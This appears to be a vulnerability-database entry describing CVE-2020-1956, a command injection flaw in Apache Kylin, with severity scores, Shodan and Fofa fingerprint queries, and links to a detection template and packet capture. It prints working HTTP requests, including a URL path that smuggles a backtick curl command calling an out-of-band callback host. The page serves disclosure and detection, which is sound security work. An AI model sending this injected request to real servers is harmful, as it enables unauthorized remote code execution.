🔙 목록으로 돌아가기

CVE-2020-1956: Apache Kylin 3.0.1 - Command Injection Vulnerability

TitleApache Kylin 3.0.1 - Command Injection Vulnerability
Authoriamnoooob,rootxharsh,pdresearch
SeverityHigh
ImpactSuccessful exploitation of this vulnerability can lead to unauthorized remote code execution and potential compromise of the affected server.
RemediationUpgrade to a patched version of Apache Kylin or apply the necessary security patches provided by the vendor.
CVSS Score8.8
EPSS Score0.93559
CVE IDCVE-2020-1956
CWE IDCWE-78
Shodan Queryhttp.favicon.hash:-186961397
Fofa Queryicon_hash=-186961397
Tags cve cve2020 apache kylin rce oast kev vkev vuln

🔍 Vulnerability Description

Apache Kylin 2.3.0, and releases up to 2.6.5 and 3.0.1 has some restful apis which will concatenate os command with the user input string, a user is likely to be able to execute any os command without any protection or validation.

🌐 HTTP Request

POST /kylin/api/user/authentication HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.4 Safari/605.1.15
Connection: close
Transfer-Encoding: chunked
Authorization: Basic SGhVdFJkOkM2RlJ5d3Zi
Accept-Encoding: gzip

0
POST /kylin/api/cubes/kylin_streaming_cube/%2031%60curl%20d5jolt9le0o0vm6slkggtc9kpzai6651o.oast.me%60/migrate HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0
Connection: close
Transfer-Encoding: chunked
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

0

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-1956.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-1956.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A